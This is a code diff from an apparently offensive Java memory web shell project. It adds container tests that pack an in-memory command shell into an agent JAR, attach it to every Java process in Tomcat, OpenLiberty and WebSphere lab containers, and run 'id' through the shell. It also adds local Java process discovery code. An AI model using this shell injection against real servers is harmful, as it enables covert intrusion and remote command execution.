commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io
@@ -26,18 +29,21 @@ hamcrest = "3.0"
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
junit-pioneer = "2.3.0"
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
[libraries]
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
apache-dubbo = { module = "org.apache.dubbo:dubbo", version.ref = "apache-dubbo" }
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "tomcat" }
asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"}
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"}
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api" }
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api" }
spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
@@ -69,4 +75,4 @@ testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins]
lombok = { id = "io.freefair.lombok", version = "9.2.0" }
shadow = { id = "com.gradleup.shadow", version = "9.3.1"}
shadow = { id = "com.gradleup.shadow", version = "9.3.1" }
@@ -2,6 +2,8 @@ services:
was700:
image: reajason/websphere:7.0.0.21
container_name: was700
environment:
JAVA_OPTS: -Xshareclasses:none
ports:
- "9080:9080"
- "9060:9060"
@@ -0,0 +1,12 @@
services:
was905:
image: reajason/websphere:9.0.5.17
container_name: was905
ports:
- "9080:9080"
- "9060:9060"
- "5005:5005"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war
@@ -503,4 +503,60 @@ public class ShellAssertion {
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
));
}
@SneakyThrows
public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer<?> appContainer) {
String shellTool = ShellTool.Command;
Packers packer = Packers.AgentJarWithJREAttacher;
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(),
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
// Pack and copy to container
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
Path tempJar = Files.createTempFile("temp", "jar");
Files.write(tempJar, bytes);
String jarPath = "/listProcessTest.jar";
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
FileUtils.deleteQuietly(tempJar.toFile());
// Test 1: List processes (no args)
Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath);
String listStdout = listResult.getStdout();
if (listStdout.contains("executable file not found")) {
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath);
listStdout = listResult.getStdout();
if (listStdout.contains("no such file or directory")) {
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath);
listStdout = listResult.getStdout();
}
}
log.info("list processes output:\n{}", listStdout);
System.out.println("list stderr: " + listResult.getStderr());
assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo("")));
assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found")));
// Test 2: Attach all
Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all");
String attachStdout = attachResult.getStdout();
if (attachStdout.contains("executable file not found")) {
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all");
attachStdout = attachResult.getStdout();
if (attachStdout.contains("no such file or directory")) {
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath, "all");
attachStdout = attachResult.getStdout();
}
}
log.info("attach all output:\n{}", attachStdout);
System.out.println("attach all stderr: " + attachResult.getStderr());
assertThat("Attach all should complete with Success", attachStdout, containsString("Success"));
// Test 3: Verify shell injection was successful
String paramName = ((CommandConfig) shellToolConfig).getParamName();
commandIsOk(shellUrl, shellType, paramName, "id");
}
}
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -59,4 +61,9 @@ public class Tomcat10ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -59,4 +61,9 @@ public class Tomcat11ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -58,4 +60,9 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -51,4 +53,9 @@ public class Tomcat5ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -50,4 +52,9 @@ public class Tomcat6ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -51,4 +53,9 @@ public class Tomcat7ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -53,4 +55,9 @@ public class Tomcat8ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -53,4 +55,9 @@ public class Tomcat9ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty18ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty20ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty22ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty25ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class WebSphere855ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class WebSphere905ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere7;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -13,6 +15,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
@@ -26,6 +29,7 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
"reajason/websphere:7.0.0.21",
"/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
.targetJdkVersion(Opcodes.V1_6)
.env(Map.of("JAVA_OPTS", "-Xshareclasses:none"))
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.supportedShellTypes(List.of(
ShellType.SERVLET,
@@ -46,4 +50,9 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -15,6 +15,7 @@
*/
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
@@ -22,13 +23,18 @@ import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.security.CodeSource;
import java.security.PrivilegedAction;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import java.util.Properties;
import java.util.Set;
/**
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
@@ -91,6 +97,41 @@ public class Attacher {
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
}
/**
* <p>
* Lists all discoverable Java processes on the local host.
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
* </p>
* <p>
* HotSpot processes are discovered by scanning {@code hsperfdata_<user>} directories
* in the system temporary folder and parsing PerfData binary files to extract
* the main class name. OpenJ9 processes are discovered by scanning
* {@code .com_ibm_tools_attach} directories and reading {@code attachInfo} property files.
* </p>
* <p>
* <b>Note</b>: Only processes accessible to the current user are listed.
* Stale entries from crashed JVMs may appear. Processes started with
* {@code -XX:-UsePerfData} will not be discoverable via HotSpot scanning.
* </p>
*
* @return A list of discovered Java process descriptors.
*/
public static List<JavaProcessDescriptor> listJavaProcesses() {
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
Set<String> seenPids = new HashSet<String>();
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
return processes;
}
/**
* Installs a Java agent on a target VM.
*
@@ -928,4 +969,431 @@ public class Attacher {
}
}
}
/**
* Represents a discovered Java process on the local host.
*/
public static class JavaProcessDescriptor {
/**
* The process ID.
*/
private final String pid;
/**
* The main class name or JAR path, may be empty if unknown.
*/
private final String mainClass;
/**
* The JVM type identifier, e.g. "HotSpot" or "OpenJ9".
*/
private final String vmType;
/**
* Creates a new Java process descriptor.
*
* @param pid The process ID.
* @param mainClass The main class name or JAR path, may be empty if unknown.
* @param vmType The JVM type, e.g. "HotSpot" or "OpenJ9".
*/
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
this.pid = pid;
this.mainClass = mainClass;
this.vmType = vmType;
}
/**
* Returns the process ID.
*
* @return The process ID.
*/
public String getPid() {
return pid;
}
/**
* Returns the main class name or JAR path. May be empty if unknown.
*
* @return The main class name.
*/
public String getMainClass() {
return mainClass;
}
/**
* Returns the JVM type identifier.
*
* @return The JVM type, e.g. "HotSpot" or "OpenJ9".
*/
public String getVmType() {
return vmType;
}
/**
* {@inheritDoc}
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append(pid);
if (mainClass.length() > 0) {
sb.append(' ').append(mainClass);
}
sb.append(" (").append(vmType).append(')');
return sb.toString();
}
}
/**
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories
* in the system temporary folder and parsing PerfData v2 binary files.
*/
private static class HotSpotProcessDiscovery {
/**
* The PerfData magic number: {@code 0xcafec0c0}.
*/
private static final int PERFDATA_MAGIC = 0xcafec0c0;
/**
* The directory name prefix for HotSpot PerfData user directories.
*/
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
/**
* The PerfData entry name for the Java command line.
*/
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
/**
* The data units value for STRING type entries.
*/
private static final byte UNITS_STRING = 5;
/**
* Maximum PerfData file size to read (1 MB), as a safety bound.
*/
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
/**
* Minimum PerfData file size (v2 prologue is 32 bytes).
*/
private static final int MIN_PERFDATA_SIZE = 32;
/**
* The size of a PerfData v2 entry header in bytes.
*/
private static final int ENTRY_HEADER_SIZE = 20;
/**
* Discovers all HotSpot JVM processes visible to the current user.
*
* @return A list of discovered HotSpot Java process descriptors.
*/
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
Set<String> seen = new HashSet<String>();
for (File tmpDir : getTempDirectories()) {
if (!tmpDir.isDirectory()) {
continue;
}
File[] userDirs = tmpDir.listFiles();
if (userDirs == null) {
continue;
}
for (File userDir : userDirs) {
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
continue;
}
File[] pidFiles = userDir.listFiles();
if (pidFiles == null) {
continue;
}
for (File pidFile : pidFiles) {
String fileName = pidFile.getName();
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
continue;
}
if (!seen.add(fileName)) {
continue;
}
String javaCommand = parsePerfData(pidFile);
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
}
}
}
return result;
}
/**
* Returns the list of temporary directories to scan for HotSpot PerfData files.
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
* and also {@code java.io.tmpdir} if it differs.
*
* @return A list of temporary directories.
*/
private static List<File> getTempDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir")));
} else {
dirs.add(new File("/tmp"));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir));
}
}
return dirs;
}
/**
* Parses a HotSpot PerfData v2 binary file to extract the value of
* {@code sun.rt.javaCommand}.
* <p>
* The PerfData v2 binary format consists of a 32-byte prologue followed
* by a sequence of variable-length entries. Each entry contains a name
* and a data value. This method iterates through entries looking for
* the {@code sun.rt.javaCommand} entry.
* </p>
*
* @param file The PerfData file to parse.
* @return The value of {@code sun.rt.javaCommand}, or empty string if not found.
*/
private static String parsePerfData(File file) {
FileInputStream fis = null;
try {
fis = new FileInputStream(file);
long fileLength = file.length();
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
return "";
}
byte[] data = new byte[(int) fileLength];
int totalRead = 0;
int bytesRead;
while (totalRead < data.length
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
totalRead += bytesRead;
}
if (totalRead < MIN_PERFDATA_SIZE) {
return "";
}
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
// Magic number is always stored in big-endian
buffer.order(ByteOrder.BIG_ENDIAN);
int magic = buffer.getInt(); // offset 0
if (magic != PERFDATA_MAGIC) {
return "";
}
byte byteOrder = buffer.get(); // offset 4
if (byteOrder == 1) {
buffer.order(ByteOrder.LITTLE_ENDIAN);
}
byte majorVersion = buffer.get(); // offset 5
buffer.get(); // offset 6: minor version
buffer.get(); // offset 7: accessible / reserved
if (majorVersion < 2) {
// Only PerfData v2 format is supported
return "";
}
// v2 prologue fields
buffer.getInt(); // offset 8: used
buffer.getInt(); // offset 12: overflow
buffer.getLong(); // offset 16: mod_time_stamp
int entryOffset = buffer.getInt(); // offset 24: entry_offset
int numEntries = buffer.getInt(); // offset 28: num_entries
// Iterate through PerfData entries
int pos = entryOffset;
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
buffer.position(pos);
int entryLength = buffer.getInt();
if (entryLength <= 0 || pos + entryLength > totalRead) {
break;
}
int nameOffset = buffer.getInt();
buffer.getInt(); // vector_length
buffer.get(); // data_type
buffer.get(); // flags
byte dataUnits = buffer.get(); // data_units
buffer.get(); // data_variability
int dataOffset = buffer.getInt();
// Read the entry name (null-terminated UTF-8 string)
int nameStart = pos + nameOffset;
if (nameStart < 0 || nameStart >= totalRead) {
pos += entryLength;
continue;
}
int nameEnd = nameStart;
while (nameEnd < totalRead && data[nameEnd] != 0) {
nameEnd++;
}
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
// Read the string value
int dataStart = pos + dataOffset;
if (dataStart < 0 || dataStart >= totalRead) {
return "";
}
int dataEnd = dataStart;
while (dataEnd < totalRead && data[dataEnd] != 0) {
dataEnd++;
}
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
}
pos += entryLength;
}
return "";
} catch (Exception ignored) {
return "";
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
/**
* Checks if a string consists entirely of digit characters.
*
* @param str The string to check.
* @return {@code true} if the string is non-empty and contains only digits.
*/
private static boolean isNumeric(String str) {
if (str == null || str.isEmpty()) {
return false;
}
for (int i = 0; i < str.length(); i++) {
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
return false;
}
}
return true;
}
/**
* Extracts the main class name from a {@code sun.rt.javaCommand} value.
* The value format is typically {@code "mainClass arg1 arg2 ..."} or
* {@code "/path/to/app.jar arg1 arg2 ..."}. This method returns the
* first space-delimited token.
*
* @param javaCommand The full Java command string.
* @return The main class or JAR name, or empty string if input is empty.
*/
private static String extractMainClass(String javaCommand) {
if (javaCommand == null || javaCommand.isEmpty()) {
return "";
}
int spaceIndex = javaCommand.indexOf(' ');
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
}
}
/**
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories
* and reading {@code attachInfo} property files.
*/
private static class OpenJ9ProcessDiscovery {
/**
* The directory name used by OpenJ9 for attach API information.
*/
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
/**
* The file name containing process attach information within each VM directory.
*/
private static final String ATTACH_INFO_FILE = "attachInfo";
/**
* Discovers all OpenJ9 JVM processes visible to the current user.
*
* @return A list of discovered OpenJ9 Java process descriptors.
*/
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
for (File attachDir : getAttachDirectories()) {
if (!attachDir.isDirectory()) {
continue;
}
File[] vmDirs = attachDir.listFiles();
if (vmDirs == null) {
continue;
}
for (File vmDir : vmDirs) {
if (!vmDir.isDirectory()) {
continue;
}
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
if (!attachInfo.isFile() || !attachInfo.canRead()) {
continue;
}
FileInputStream fis = null;
try {
Properties props = new Properties();
fis = new FileInputStream(attachInfo);
props.load(fis);
String pid = props.getProperty("processId");
String displayName = props.getProperty("displayName", "");
if (pid != null && pid.length() > 0) {
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
}
} catch (Exception ignored) {
/* do nothing */
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
}
return result;
}
/**
* Returns the list of directories to scan for OpenJ9 attach information.
